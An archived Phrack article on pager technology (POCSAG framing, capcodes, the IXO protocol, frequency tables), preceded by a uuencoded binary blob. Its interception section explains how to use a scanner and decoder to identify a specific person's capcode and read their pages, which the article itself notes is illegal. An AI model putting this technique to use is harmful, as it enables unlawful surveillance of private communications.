MX\'B>&#!\\'_P?'!_\'QP?C!\,'@P?_!X,'YP?_!Q\'N?L'P>,'@P?C!\\'\T M8<'@?\'@?F/!X,'P?,'_P?##_\'\P?/1_\'\VO_!^<'PP?C'\,'@P?#!X'!@O MP>#$8'#&8,'@P?#/_\W_P>#!\'APP?ACP>!X?\'_P?S"_\'P?L'QPOC!_L'XA MP>#!^'#!XV#!^,'QP?‑PP?#!_\'PO'#"\<7_P>!_P?C!\,'V?&!_P?!_?G_!) M_'#!_\'X?\'_P?/![\'@>&#!]\'_P?!_P?'"^,'WP?_!\<'YP?_!Y\'\?,+X4 MP>#!^,'_P?QQP>#!_\'@?'/"\'S!^<'@?\+_P?AQT?_!_.#_P?O!^<']POG%& M^,3PP?C#\'#!\,‑@S__‑_\'L`<'`<!S!Y\''@'_!P#S"_\'W@'#"^,'\>,'$7 M>&/!PP#!^,'QP?‑\<\'_P?`<<'/!\<'_P]^?P>'!_\'<P>)&?F)_P?`_?@/!1 M_G`?P?C!W[_!\\'/P>(`8&.!P?A_P?#!^<'\9\'?P>/!V<'_`\'.'L'\P?G!) MY\'XP?_"^,''P=_!Y\'&PO_!\\'X><'@'X_!S\'X`‑'_P?W!_\'QP?_!_L'[8 M[__!^\'XP?G/_\W_P<\'@GH>P>^/@'_!P!_!_Y_!YX)R'L+^'8X>)X<.?\'[5 MP<<^9\'_P>`.,'/!\\'_Q)_!S\'_GD8&?D9_P>(?/@_!_@(?P?G"'\''C\'FP M`$('`L'\/\'P&<'^1Q_![Q_!_P?!SA[!_L'YP<?!_!_!_L']CY_!QX[!_Q_!O M_\'\?<'/'P^/'QY_TO^#P?_!_@>/___!_\[_G\7_P<_&_X_!_@_"_P?!SP9O0 MP<_"/\'^#SYG'\'GCCPSA\'_PH^?'\'/P?^.9P\^!S]`'\(_P?XOP?_!^`\?U MP>>/P<8.9P</P?Y_P?(=P?X$'\'@'\'_%\'.#G]]P<8\#\'_P?X''\'/P<;") M#\'G/!W"CP^''\(_TO\./Q_"#___P?_=_P_"_P_!WX=_P>_"?\'_#\'_9A_!* MY\'./C</P?^/PI\/P<_!_X[![X\>1Q\'#\(_P?XGP?_!X@\?P>>/A@Y'!X_!C M_L'_P?>_P?X''\'''\'_!\'.#\+_ASX/PO\&'\'/AL('P<8>'\*/!X>?'S_2P

M_P\^'\(/___!_^C_O\+_'\/_P?P/P?_!WY^_A<'`/Y[!_XX!P>>,PL\_#\'^[ M?\'_P>>/G\'GP<>&/F>'G\'^P?_!]\']P?[!QY_![\'_P?X!P<YDP?[!_<''" MP?R_P?W!_(<?P>?!Q@\'P>0\B<'/C@>/G\(_TO^?/A^/'___P?_O_\']Q?_!@ MX<'@/\+_P>\!P??!X<'OPO\AP?[!]\'_P>?![\'_P>?!X(Y\8\'GN<'\P?_!& M\\'XP?G!Y\'_P>_!^<'\(,'NP?#!_,'YP>?!^,'_P?C!_<'GO\'GP>3!_[_!J MX<'XP>'![\',(\'YO\(_T/_!_<'_OSR?P?\____!__7_P?/!^<3_P??!_\'S+ MP__!\</_P??#_\'P?L'^P?/!Y\'`P?S!_\'SP?QQP>?!_\'GP?C!_,'PP>S!: M\,+XP>?!^,'_P?C!\<+_P>/!Y,+_P?/!^,'AP?_!T`'!^#_!_W_0_\']PO_!+ M^,+_P<#__\'____*_\'XQ/_!\,'\P?_!\\'^<</_P?A\P?C!_,'XP?S!^,'_] MP?C!_\'XP?'"_\'@?,+_P?'!^,'QP?_!^''!_,‑_T/_!_<'_P?YXPO]@___!& M____S__!^\C_P?QOP?[#_\'YP?_!_<'_P?X#PO_!X'X#P?_!\'C!\<'@&,'Y; MP=S#/]#_P?W!_SX8#\'?F___P?___^/_#\+_P>8^!\'_P?`?P?O!PAO!_Y\?K MPC_2_QX8#Y\?___!____Z_\?P?_![W_!_\'?/[\_TO\>/P>/#___P?____/_R M/]+_#V?!YY\/___!_______%_\']P?^'P_^$___!_______%_\']___'____G

M___%_\']___'_______%_\']___'_______%_\']W_____L

M____S?_________‑_______%_\']___'_______%_\']_1

M___'_______%_\']___'_______%_\']___'____W_________S?__W

M_______‑_______%_\']___'_______%_\']___'

M___%_\']___'_______%_\']___'_________\W_________S?_________‑]

M_______%_\']___'_______%_\']___'_______%

M___'_______%_\']___'_________\W_________S?_________‑________T

M_\W______\7_P?W__\?______\7_P?W__\?______\7_P?W__\?______\7__ MP?W__\?_________S?_________‑_________\W______\7_P?W__\?_____\ M_\7_P?W__\?______\7_P?W__\?______\7_P?W__\?______\7_P?W__\?_P M________S?_________‑_________\W_________S?______Q?_!_?__Q___5 M____Q?_!_?__Q_______Q?_!_?__Q_______Q?_!_?__Q__________‑____$

M_____\W_________S?_________‑_______%_\']___'_______%_\']_

M_______%_\']___'_______%_\']___'________W_________S?______O

M___‑_________\W______\7_P?W__\?______\7_P?G__\?_SO_!^?__]?_!2 M_?__Q__._\'YP?O___3_P?W__\?_S?^&`@`"`,D"Q`8.Q1\/P=______Y?_‑X M_X\'Q08.Q@;$!,(&PP\.PP\?G______B_]#_P=_"G\/_P<^_G\*/#X_&#\T'0

MQ0_"C\.?P?^/_____]#_X/^_PO^_PH\/!L0$QP`$P@8'P@^/GX^______\__J M[/_!_<+YPO'!^,'QP?#!X"#!X,(@P@#)(,)@P?'!X<'@P>'!\<']]__!_?__$ MQ__S_\'[QO#!X,'PP>#&8$!@0,)@P>!@P>#!\,+QP?#!_\']\O_!_?__Q__‑Q M_\'\P?_!\<3_P?/!_\'PP?S!^\'YP?_!^<'XP?W?_\+]P?_"^</XQO#%<,)@_ MQ'#&\,']P?_#^,'[P?W"^=[_P?G__\?_S?_!_`_!X<3_P</!_\'PP?Q[P>'!K M_\'AP?#!_>O_P?/!\,)@0'#$0,8`0&!`PG#!^&#"X,/PP?O!_\+[VO_!^?__A MQ__‑_XX'!L''CL''P<\.P?^&'`<&P<X"P>(<!QX/P__!_G\^#\+_P?X?P=_!8 M_Q_!W^;_PM^>P@_##LD"`,("Q@8/#A^?P=___];_S?\,#PY/CD>/#\'_CQ["N M#XX.9QP''`_!_W_!_\'^/SX/PO_!_@^/P?X/C\+_'^;_G\+?GQ_'#\,.R`8.M!@\'Q0_#'\'_O___S?_‑_XX?#\''CD>./\'_'X_!_Q_!SA_!Y\'_P?>_C\'^G M/\'^?L(_C\'_P>?!_P>&,P\'P<8>!\'_P<_![\'_!\'_P<_"_X_"_\'/ZO_#9 MC\(/C\0/P@?$!@?"!L,'PP^/P@_"CY_!W___P?_‑_XP_#\''C&&&?\'_/XS!6 M_Q_!SG_!Y\']P?/!_<'_P?P]P?A^/CS"_\'AP?F'C#`'#\'`'`?!_X_!Y\'OO M`\'_A<+_A\+_P<;&_[_!_[_J_[^?CP["!@`$QP`$P@#"!,(&P@___\W_P<PCY MP>#!YXC!X,'D<,'_O\'L)@'!Y,'_P>!XP>'!^,'_P?@YP?!^PCS"_\'@P?G!B M\;\QP>,_P>/!^,'SP?_!Q\'AP><XP?_!X&?!Y[!YP?/!P,'_P>_"^<'OP><AK MP?`X(_'_P_W!\,'YP?'!\,'@8"!@Q"``PR#&8,/@Q&#!X"#"8,'@P?##^>;_% MS?_!W,'CP>#!Y\'8P>#!P'#"_\'L8@#!Y,'_P>!P8\'X?\'X><'P?,(XPO_!/ MX,'YP?'!_\'QP>‑_P>/!^,+_P</!X<'G>,'_P?AGP>;!^'#!\\'QP?_!S\'Y@ MP?'!Q\'F(,'P>&/Y_\'XP?G'\,'@8,'@Q6!`PV#%0,(`0&!PP>!@PN#$\,+Q2 MPO#<_\W_P?G!\<'X9\'XP>8@>,+_P?S!_GG!Y,'^P?#!^,'SP?[!X\'XP?'!2 M\'QP>'_!_\'@><'YP?_!\&,PP?#!^'_!_\'QP?#![GQ_P?Y@P>9^>,'SPO_!R MX\'XP?'!Y\'F>,'QP?C!\?__Q?_!^<'PP?S!\,'YP?C!\,/XS?##<&!PQ&!P; M8,)PPO##^=/_S?_!R<'SP?QGF,'F`'Q_/\'<P?]_P>3!_L'CP?C!\\'_P>/!! M^<'!P>`^0#AOP?_!P'G!^;^P`P#!\'@/P?^QP>#![WY_P?Y@P<9^>,'SP=_!B M_\'#N<'QAX9XP?/!^,'S___:_\'[P?_!^\'PP?/!X,'PPF##0,4`0,)@<,'Y[ MP?O0_\W_P<X#'@<>P<>&''^/'L'_'\'.'F?!_\'[P?_!]\'_P<'!PA[!PSS"4 M_X`[P?N?$X<?P?\?@\'_`<'N#\(_@$`.?QL3@L'_@YG!^X<'#,'WP?S!T___6 MYO_!W\(?'@X&Q@+/_\W_C@<,)QY/CPQ_CS_!_S^/#V>_PO_!Y\'_P>.''L''< M/\+_A#_!_Y\WP<\?P?\?A\'^`<'O#\(_AT<.?QL7A\'_#QW!_X</!<'G/`?_J M_^O_O\0/#@?/_\W_P=\/A\'O'\'OCX?!_\''/\'_O\'/!\'F#\'_P?X'PO_". MC\''/@_!_X\?AY\WP<<?P<^/P?_!_@?![P_"/X_!Q\'//Q^'C\'_CQ_!_X</_

M!L'G/@?___'_P=_/_\[_O\'OP?]_PO^/P?_![\3_A\'@'\'_P?X/PO^?P=_!8 MYSP'P?^?N`>,‑\'G#\''F<'QP?X(P>\//G^?P>?![CX[@Y_!_YP=P?N0+QS!Z

MY\'\!______"_]S_P?W)_\'\8\+_P?AGP>#!^\'S`,'@."'"_,'OP<\@PO_"` MYSAYP>/"_\'\.,'QF&=\P?/!^,'S_____\+_ZO_!^,'_P?'!_\'WP>#!\'QG4 MPOS!_\'O8,+_PO?!X,'[P>/!X,'_P?YXP>'!^,'F>,'SP?#!\______"__?_W MP?O$_\'PP?O!\\'@P?_!_L'X8\'XP?9PP?#!^,'S_____\+____!\,+_P?X?$ MP?W!_P#!\#G!^______"____Q/_!W\+_P=_!_A______P__________‑____J M_____\W_________S?_________‑_________\W_________S?_________‑R M_________\W_________S?_________‑_________\W_________S?______D M___‑_________\W_________S?_________‑_________\W_________S?__R M_______‑_________\W_________S?_________‑_________\W_________> MS?_________‑_________\W_________S?_________‑_________\W_____R M____S?_________‑_________\W_________S?_________‑_________\W_R M________S?_________‑_________\W_________S?_________‑________] M_\W_________S?_________‑_________\W_________S?_________‑____R M_____\W_________S?_________‑_________\W_________S?_________‑R M_________\W_________S?_________‑_________\W_________S?______D M___‑_________\W_________S?_________‑_________\W_________S?__R M_______‑_________\W_________S?_________‑_________\W_________> MS?_________‑_________\W_________S?_‑_\,/PA_"GS_!_\*?______3_' MS?_#!\4/Q(_$G\'_G[_"W______J_\W_CL($T``$`,,$`,(&P@["#Q^_G[_"R M_\*______]C_S?_!^,'PP>!@Q"!@Q2``(,H`PB``PR#!X&!QP?#"X<'QP_W_@ M____U?_8_\'[PO_!^\'_P?G!_\'PP?',\&#"X,1@0,1@P>#!\,'@Q?#_____F MR__@_\']P?_!_<'XP?W#^,'YP?S"^,3PQ'!@<,1@<&#"<&##<,'XPOG!_?__G M___&__O_P?O!^,/P8,'`0,@`PF#!\&!XP?#!^?__^?_]_\+?PI^/#L("``+%. M`,,"!@(.'@^?PM____3____)_[^?Q0\.PP\.R`8.!LH/PA_!_\'?P[___]S_7 M___,_X^?PX\/CP^/#\,'QP8'PP;%!\0/C\(/C___V____]S_O\'_OY^_P?^/' MP@\&Q`3'``0`!`7"#Y\?PK___]'____A_\']P?O"_\']POE@P?#!X,)@QB#"1 M`,4@8,'AP>#"\</]___*____P__!]^__POG%\,9@PD#"8,'@8,'PP>#!\,)@\ MP>#(\,'QP_#!\\'YP__!^>W____"_\'^<\/_P?GM_\3XPO!PP?!PP?##<,I@I M<,5@QW#&\,+XP?#!_\'YP?O!_<'YY/___\+_P?1SP__!P'_!_<+_P?G!\'_!D M_`'&_\'XZ__"^<'_P?O!^,'[P?_!^\'XPO!PPD#"8,‑``,=`S`##0,'@<,'[< MP?G:____PO_![G_#_XX_Q/_!\'_!_@/&_\'^'_;_PI_"WY\?P@X>#QX?'A\.< MP@8"#L4"Q0#"`@#"`@X?#\*?U?___\+_P<X?A\'G?Y\?P?["_\'\9\'_P?X_< MPO\_PO_![\'_#\;_/\'&'\/_AW_)_\'?]O^_GQ^?'\(/PP[(!@["#\_____"N M_\'.#X?!QW^/'\'?P<?!_\'J9\'_P?[!_\'/P?\_PO_![\'_A\'_G\3_/\''O M'\/_AW_)_X_]_\'OPH_$#\,'PP8'S____\+_P<\'C`8_A#>,P<9_P>1@?\'^0 M'X3!P#@<9,'GP?_!]\'_G[\?P?\^/\'/G\'_P?Y_CG_$_\'?Q/\`Q?\'P?_!& M[\'_P>?^_Y_"O\_____"_\'OP>&`8'^`<\'(P<!_PN!_P?PCP<#!X#`X8,'GS MP?'!\\'_O3P_P?Q^?\'OP?W!_\'\P?^\><'_P?O!_\']Q?\PQ/_!_B'!_\'CK MP?_!X,3_P?G__\S____"_\'OP?B`P>#!_\'0<\'HP<!_P>#!_L'_P?QSP<!/Q M(+G!^&?!\$/!\<'XP>#!_\'XP?9_P?_!_,+FP?_!^''"X,+P/<'_P?C"_\'\# MPO!_P?_"^,'_P?'!_\'@?\/_P?#!Y___R____\+_P>S!^,+PP?_!^'/!^,'@Z M?\'@PO_!_'‑`?F`YP?AGP?!C<<'XP>#!_\'XP?Y_P?_!_,'^P?;!_\'P<<'PQ MP>#!\'`]P?YX?\'_P?S"\#Y_P?C!^<'_P?'!_\'\?\'YPO_!\,'G___+____* MPO_!S''!V,'APO\SP<C!S\'_P<!_O\'\P?\!P<\@P?G!X&?!\<'C><'8!E_!" M\<'F?\'_P?S!\,'F?X#!Y[S!W\'@(\'(P>9YP=_!_P#!X&'!S&?!^<+_P>/!/ M_\+?P?!X?\'SP>?!S\'_P>?!\G___\;____"_\'.`X_!SG\?$PS!S\'_@'^?F MP?[!_Q_!SP?!^\'&9\'[P<<[G`X?P>?!YG^?P=[!YL'.?X?!YQX?P<8'C\'&Z M.9_!_P+!W@>>'\/_A\'_PI_!PG@?P??!QP_!_P<&'P]____$____PO_!SP_!K MS\'OP?^?/@_!QG_!_V8?PO^.P<XO'XXGP?_!]S\/P=^'P?_!SW_!SXYWP>Y_V MG\'O'@_!Q@^/P<=X#\'_#\'L#Y\/P_^'P?_"C\'/'X_!_@8'/P?"#@<?___$R M____PO_![X_%_Q_!Y\+_P>8_PO^'P<8O'XXGP?_!YP?"CX?!_X]_P<\.=\'.& M?Y_![QX/P<\/C\''?Q_!_Q_!Q@^?#\/_!\'_PH_!SY^/P>(&!R<'P@X''___C MQ/___]3_?\'G?\'_P?<#G`X/P?P?P?_!QA[!\\'N?Y_!YXR.P<<G#,'&><+_R MOXPGG\''P_\0P?^?C\'/EX_!\00#!@,^'@<?___$____V?_!X\'\/#_!^#_!P M_\'P?\'QP?["_\'GP>'"X'`\P>9XP__!P&?!_<'GP?S!^,'_<,/_P>^QP>_!M\<'D(R0#/``GO___Q/___^#_P?G&_\'QP_!\=L'X?,+_P>!WP?QGP?QPP?_!S M\,'_P=C!_\'FP?/!_\'SP>#!_\'$?\'_P>#__\;____H_\'YPOC!_L'_P?QXE MPO_!\,'_P?QWP?YAP?_!\,'_P>!_P?![P?_!\\'PP?/!_'O!_,'@P??__\7_& M___X_\'CP?_!X,'_P?!_P?_!\\'^`\'?`SQ&1___Q?______PO\/P?\/OA\/1 M/___Q/______R/]____$_________\W_________S?_________‑________S M_\W_________S?_________‑_________\W_________S?_________‑____R M_____\W_________S?_________‑_________\W_________S?_________‑R M_________\W_________S?_________‑_________\W_________S?______D M___‑_________\W_________S?_________‑_________\W_________S?__R M_______‑_________\W_________S?_________‑_________\W_________> MS?_________‑_________\W_________S?_________‑_________\W_____R M____S?_________‑_________\W_________S?_________‑_________\W_R M________S?_________‑_________\W_________S?_________‑________] M_\W_________S?_________‑_________\W_________S?_________‑____R M_____\W_________S?_________‑_________\W_________S?_________‑R M_________\W_________S?_"'Y_"W________\C_S`\?G\'_O]/_PI_#_\*_2 MSI_#O\'_QI^_RY^_PI^_G[_!_\6?P[^?O___[/_)!\@/C\*?Q?_(GX^?_X^/' MPY^/G\*/R)_!WY_"W\'_P=___]/_WP3&!@?'!L0$Q08'Q0\'PP8'#P</!\0/1

/!]0/C\2?C\F?SK___]#_K

``

end

sum ‑r/size 36774/43500 section (from first encoded line to "end")

The Wonderful World of Pagers

==Phrack Magazine==

Volume Five, Issue Forty‑Six, File 8 of 28

****************************************

The Wonderful World of Pagers

by Erik Bloodaxe

Screaming through the electromagnet swamp we live in are hundreds of thousands of messages of varying degrees of importance. Doctors, police, corporate executives, housewives and drug dealers all find themselves constantly trapped at the mercy of a teeny little box: the pager.

Everyone has seen a pager; almost everyone has one. Over 20 million pagers are on the streets in the US alone, sorting out their particular chunk of the radio‑spectrum. Another fifty‑thousand more are put into service each day.

But what the hell are these things really doing? What more can we do with them than be reminded to call mom, or to "pick up dry‑cleaning?"

Lots.

** PROTOCOLS **

Pagers today use a variety of signalling formats such as POCSAG, FLEX and GOLAY. The most common by far is POCSAG (Post Office Standardization Advisory Group), a standard set by the British Post Office and adopted world‑wide for paging.

POCSAG is transmitted at three transmission rates‑‑512, 1200 and 2400 bps. Most commercial paging companies today use at least 1200, although many companies who own their own paging terminals for in‑house use transmit at 512. Nationwide carriers (SkyTel, PageNet, MobileComm, etc.) send the majority of their traffic at 2400 to make the maximum use of their bandwidth. In other words, the faster they can deliver pages, the smaller their queue of outgoing pages is. Although these carriers have upgraded their equipment in the field to broadcast at 2400 (or plan to do so in the near future), they still send out some pages at 1200 and 512 to accommodate their customers with older pagers. Most 512 and 1200 traffic on the nationwide services is numeric or tone‑only pages.

POCSAG messages are broadcast in batches. Each batch is comprised of 8 frames, and each frame contains two codewords separated by a "synchronization" codeword. A message can have as many codewords as needed to deliver the page and can stretch through several batches if needed. The end of a complete message is indicated by a "next address" codeword. Both addressing and user data are sent in the codewords, the distinction being the least significant bit of the codeword:

0 for address data, and 1 for user‑data.

Standard alphanumeric data is sent in a seven‑bit format, with each codeword containing 2 6/7 characters. A newer 8‑bit alphanumeric format is implemented by some carriers which allow users to send data such as computer files, graphics in addition to regular alphanumeric messages. The 8 bit format allows for 2.5 characters per codeword.

Numeric data is 4 bit, allowing up to 5 numbers to be transmitted per codeword. Tone and voice pages contain address information only.

(NOTE: Pager data uses BCH 32,21 for encoding. I don't imagine very many of you will be trying to decode pager data by building your own decoders, but for those of you who may, take my interpretation of POCSAG framing with a grain of salt, and try to dig up the actual POCSAG specs.)

** THE PAGING RECEIVER **

Paging receivers come in hundreds of shapes and sizes, although the vast majority are manufactured by Motorola. Numeric pagers comprise over fifty percent all pagers in use. Alphanumeric comprises about thirty percent, with tone and voice pagers making up the remainder.

Pagers are uniquely addressed by a capcode. The capcode is usually six to eight digits in length, and will be printed somewhere on the pager itself. Many pager companies assign customers PIN numbers, which are then cross‑referenced to a given capcode in databases maintained by the service provider. PIN numbers have no other relationship to the capcode.

Tone pagers are by far the most limited paging devices in use. When a specified number has been called, an address only message is broadcast, which causes the intended receiver to beep. Wow. Tone pagers usually have 4 capcodes, which can correspond to different locations to call back. Voice pagers are similar, except they allow the calling party to leave a 15 to 30 second message. The voice message is broadcast immediately after the capcode of the receiver, which unsquelches the device's audio.

Numeric pagers, although seemingly limited by their lack of display options have proven otherwise by enterprising users. Most numeric data sent is obviously related to phone numbers, but numerous users have developed codes relating to various actions to be carried out by the party being paged. The most prolific users of this have been the Chinese who have one of the most active paging networks in the world. I suppose the next biggest users of code‑style numeric paging would be drug dealers. (2112 0830 187 ‑‑ get to the fucking drop site by 8:30 or I'll bust a cap in your ass!) :)

Alphanumeric pagers are most often contacted through a dedicated service that will manually enter in the message to be sent onto the paging terminal. One such service, NDC, offers its phone‑answering and message typing services to various pager companies. Next time you are talking to a pager operator, ask him or her if they are at NDC. They probably are.

In addition to the capcode, pagers will have an FCC ID number, a serial number, and most importantly, the frequency that the device has been crystaled for imprinted on the back of the device. Although technology exists that would allow pagers to listen on a number of frequencies by synthesizing the frequency rather than using a crystal, pager manufacturers stick to using crystals to "keep the unit cost down."

Pagers may have multiple capcodes by which they can be addressed by. Multiple capcodes are most often used when a person has subscribed to various services offered by their provider, or when the subscriber is part of a group of individuals who will all need to receive the same page simultaneously (police, EMTs, etc.).

Most low‑cost pagers have their capcode stored on the circuit board in a PAL. Most paging companies will completely exchange pagers rather than remove and reprogram the PAL, so I don't think

it's worth it for any experimenter to attempt. However, like most Motorola devices, many of their paging products can be reprogrammed with a special serial cable and software. Reprogramming software is usually limited to changing baud rates, and adding capcodes.

Additionally, some units can be reprogrammed over the air by the service provider. Using a POCSAG feature known as OTP (over the air programming) the service provider can instruct the paging receiver to add capcodes, remove capcodes, or even shut itself down in the case of non‑payment.

** SERVICES **

With the growing popularity of alphanumeric pagers, many service providers have decided to branch out into the information business. The most common of these services is delivery of news headlines. Other services include stock quotes, airline flight information, voice mail and fax reception notification, and email. Of course, all of these services are available for a small additional monthly premium.

Email is probably the single coolest thing to have sent to your alpha pager. (Unless you subscribe to about a zillion mailing lists) Companies like SkyTel and Radiomail give the user an email address that automatically forwards to your paging device.

IE: PIN‑NUMBER@skymail.com. Several packages exist for forwarding email from a UNIX system by sending stripping down the email to pertinent info such as FROM and SUBJECT lines, and executing a script to send the incoming mail out via a pager terminal data port. One such program is IXOBEEPER, which can be found with an archie query.

Radiomail's founder, (and rather famous ex‑hacker in his own right ‑ go look at ancient ComputerWorld headlines), Geoff Goodfellow had devised such a method back in the late 70's. His program watched for incoming email, parsed the mail headers, and redirected the FROM and SUBJECT lines to his alphanumeric pager. Obviously, not many people had alphanumeric pagers at all, much less email addresses on ARPANET back in the 70's, so Geoff's email pager idea didn't see much wide‑spread use until much later.

Two RFC's have been issued recently regarding paging and the Internet. RFC 1568, the Simple Network Paging Protocol, acts similarly to SMTP. Upon connecting to the SNPP port the user issues commands such as:

PAGE followed by pager telephone number

MESS followed by the alpha or numeric message SEND

& QUIT

RFC 1568 has met with some opposition in the IETF, who don't consider it worthwhile to implement a new protocol to handle paging, since it can be handled easily using other methods.

The other RFC, number 1569, suggests that paging be addressed in a rather unique manner. Using the domain TPC.INT, which would be reserved for services that necessitate the direct connection to The Phone Company, individual pagers would be addressed by their individual phone numbers. Usernames would be limited to pager‑alpha or pager‑numeric to represent the type of pager being addressed. For example, an alpha‑page being sent to 1‑800‑555‑1212 would be sent as pager‑alpha@2.1.2.1.5.5.5.0.0.8.1.tcp.int.

** PAGING TERMINAL DATA PORTS **

Many services offer modem connections to pager terminals so that computer users can send pages from their desks using software packages like WinBeep, Notify! or Messenger. All of these services connect to the pager terminal and speak to it using a protocol known as IXO.

Upon connection, a pager terminal identifies itself with the following:

ID=

(I bet you always wondered what the hell those systems were) Paging terminals default to 300 E71, although many larger companies now have dialups supporting up to 2400.

Many such systems allow you to manually enter in the appropriate information by typing a capital "M" and a return at the ID= prompt. The system will then prompt you for the PIN of the party you wish to page, followed by a prompt for the message you wish to send, followed by a final prompt asking if you wish to send more pages. Not every pager terminal will support a manual entry, but most do.

All terminals support the IXO protocol. As there are far too many site specific examples within the breadth of IXO, we will concentrate on the most common type of pager services for our examples.

[ Sample IXO transaction of a program sending the message ABC to PIN 123

gleened from the IXOBeeper Docs

Pager Terminal YOU

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

CR>

ID=

ESC>PG1<CR>

Processing ‑ Please Wait

CR>

<CR>

ACK <CR>

<ESC>[p <CR>

STX>123<CR>

ABC<CR>

ETX>17;<CR>

<CR>

ACK <CR>

EOT><CR>

<ESC>EOT <CR>

The checksum data came from:

STX 000 0010

1 011 0001

2 011 0010

3 001 0011

<CR> 000 1101

A 100 0001

B 100 0010

C 100 0011

<CR> 000 1101

ETX 000 0011

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

1 0111 1011

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

1 7 ; Get it? Get an ASCII chart and it will all make sense.

Note: Everything in the paging blocks, from STX to ETX inclusive are used to generate the checksum. Also, this is binary data, guys...you can't just type at the ID= prompt and expect to have it recognized as IXO. It wants specific BITS. Got it? Just checking...

** PAGER FREQUENCIES ‑ US **

[Frequencies transmitting pager information are extremely easy to identify while scanning. They identify each batch transmission with a two‑tone signal, followed by bursts of data. People with scanners may tune into some of the following frequencies to familiarize themselves with this distinct audio.]

Voice Pager Ranges: 152.01 ‑ 152.21 453.025 ‑ 453.125 454.025 ‑ 454.65 462.75 ‑ 462.925

Other Paging Ranges: 35.02 ‑ 35.68 43.20 ‑ 43.68 152.51 ‑ 152.84 157.77 ‑ 158.07 158.49 ‑ 158.64 459.025 ‑ 459.625 929.0125 ‑ 931.9875

** PAGER FREQUENCIES ‑ WORLD **

Austria 162.050 ‑ 162.075 T,N,A

Australia 148.100 ‑ 166.540 T,N,A 411.500 ‑ 511.500 T,N,A

Canada 929.025 ‑ 931‑975 T,N,A 138.025 ‑ 173.975 T,N,A 406.025 ‑ 511.975 T,N,A

China 152.000 ‑ 172.575 N,A

Denmark 469.750 N,A

Finland 450.225 T,N,A 146.275 ‑ 146.325 T,N,A

France 466.025 ‑ 466.075 T,N,A

Germany 465.970 ‑ 466.075 T,N,A 173.200 T,N,A

Hong Kong 172.525 N,A 280.0875 T,N,A

Indonesia 151.175 ‑ 153.050 A

Ireland 153.000 ‑ 153.825 T,N,A

Italy 466.075 T,N,A 161.175 T,N

Japan 278.1625 ‑ 283.8875 T,N

Korea 146.320 ‑ 173.320 T,N,A

Malaysia 152.175 ‑ 172.525 N,A,V 931.9375 N,A

Netherlands 156.9865 ‑ 164.350 T,N,A

New Zealand 157.925 ‑ 158.050 T,N,A

Norway 148.050 ‑ 169.850 T,N,A

Singapore 161.450 N,A 931.9375 N,A

Sweden 169.8 T,N,A

Switzerland 149.5 T,N,A

Taiwan 166.775 N,A 280.9375 N,A

Thailand 450.525 N,A 172.525 ‑ 173.475 N,A

UK 138.150 ‑ 153.275 T,N,A 454.675 ‑ 466.075 T,N,A

T = Tone

N = Numeric

A = Alphanumeric

V = Voice

** INTERCEPTION AND THE LAW **

For many years the interception of pages was not considered an invasion of privacy because of the limited information provided by the tone‑only pagers in use at the time. In fact, when Congress passed the Electronic Communications Privacy Act in 1986 tone‑only pagers were exempt from its provisions.

According to the ECPA, monitoring of all other types of paging signals, including voice, is illegal. But, due to this same law, paging transmissions are considered to have a reasonable expectation to privacy, and Law Enforcement officials must obtain a proper court order to intercept them, or have the consent of the subscriber.

To intercept pages, many LE‑types will obtain beepers programmed with the same capcode as their suspect. To do this, they must contact the paging company and obtain the capcode associated with the person or phone number they are interested in. However, even enlisting the assistance of the paging companies often requires following proper legal procedures (warrants, subpoenas, etc.).

More sophisticated pager‑interception devices are sold by a variety of companies. SWS Security sells a device called the "Beeper Buster" for about $4000.00. This particular device is scheduled as

a Title III device, so any possession of it by someone outside

a law enforcement agency is a federal crime. Greyson Electronics sells a package called PageTracker that uses an ICOM R7100

in conjunction with a personal computer to track and decode pager messages. (Greyson also sells a similar package to decode

AMPS cellular messages from forward and reverse channels called "CellScope.")

For the average hacker‑type, the most realistic and affordable option is the Universal M‑400 decoder. This box is about 400 bucks and will decode POCSAG at 512 and 1200, as well as GOLAY (although I've never seen a paging service using GOLAY.) It also decodes CTCSS, DCS, DTMF, Baudot, ASCII, SITOR A & B, FEC‑A, SWED‑ARQ, ACARS, and FAX. It takes audio input from any scanners external speaker jack, and is probably the best decoder available to the Hacker/HAM for the price.

Output from the M400 shows the capcode followed by T, N or A (tone, numeric or alpha) ending with the message sent. Universal suggests hooking the input to the decoder directly to the scanner before any de‑emphasis circuitry, to obtain the true signal. (Many scanners alter the audio before output for several reasons that aren't really relevant to this article...they just do. :) )

Obviously, even by viewing the pager data as it streams by is of little use to anyone without knowing to whom the pager belongs to. Law Enforcement can get a subpoena and obtain the information easily, but anyone else is stuck trying to social engineer the paging company. One other alternative works quite well when you already know the individuals pager number, and need to obtain the capcode (for whatever reason).

Pager companies will buy large blocks in an exchange for their customers. It is extremely easy to discover the paging company from the phone number that corresponds to the target pager either through the RBOC or by paging someone and asking them who their provider is when they return your call. Once the company is known, the frequencies allocated to that company are registered with the FCC and are public information. Many CD‑ROMs are available with the entire FCC Master Frequency Database. (Percon sells one for 99 bucks that covers the whole country 716‑386‑6015) Libraries and the FCC itself will also have this information available.

With the frequency set and a decoder running, send a page that will be incredibly easy to discern from the tidal wave of pages spewing forth on the frequency. (6666666666, THIS IS YOUR TEST PAGE, etc...) It will eventually scroll by, and presto! How many important people love to give you their pager number?

** THE FUTURE **

With the advent of new technologies pagers will become even more present in both our businesses and private lives. Notebook computers and PDAs with PCMCIA slots can make use of the new PCMCIA pager cards. Some of these cards have actual screens that allow for use without the computer, but most require a program to pull message data out. These cards also have somewhat large storage capacity, so the length of messages have the option of being fairly large, should the service provider allow them to be.

With the advent of 8‑bit alphanumeric services, users with PCMCIA pagers can expect to receive usable computer data such as spreadsheet entries, word processing documents, and of course, GIFs. (Hey, porno entrepreneurs: beeper‑porn! Every day, you get a new gif sent to your pagecard! Woo Woo. Sad thing is, it would probably sell.)

A branch of Motorola known as EMBARC (Electronic Mail Broadcast to A Roaming Computer) was one of the first to allow for such broadcasts. EMBARC makes use of a proprietary Motorola protocol, rather than POCSAG, so subscribers must make use of either a Motorola NewsStream pager (with nifty serial cable) or a newer PCMCIA pager. Messages are sent to (and received by) the user through the use of special client software.

The software dials into the EMBARC message switch accessed through AT&T's ACCUNET packet‑switched network. The device itself is used for authentication (most likely its capcode or serial number) and some oddball protocol is spoken to communicate with the switch.

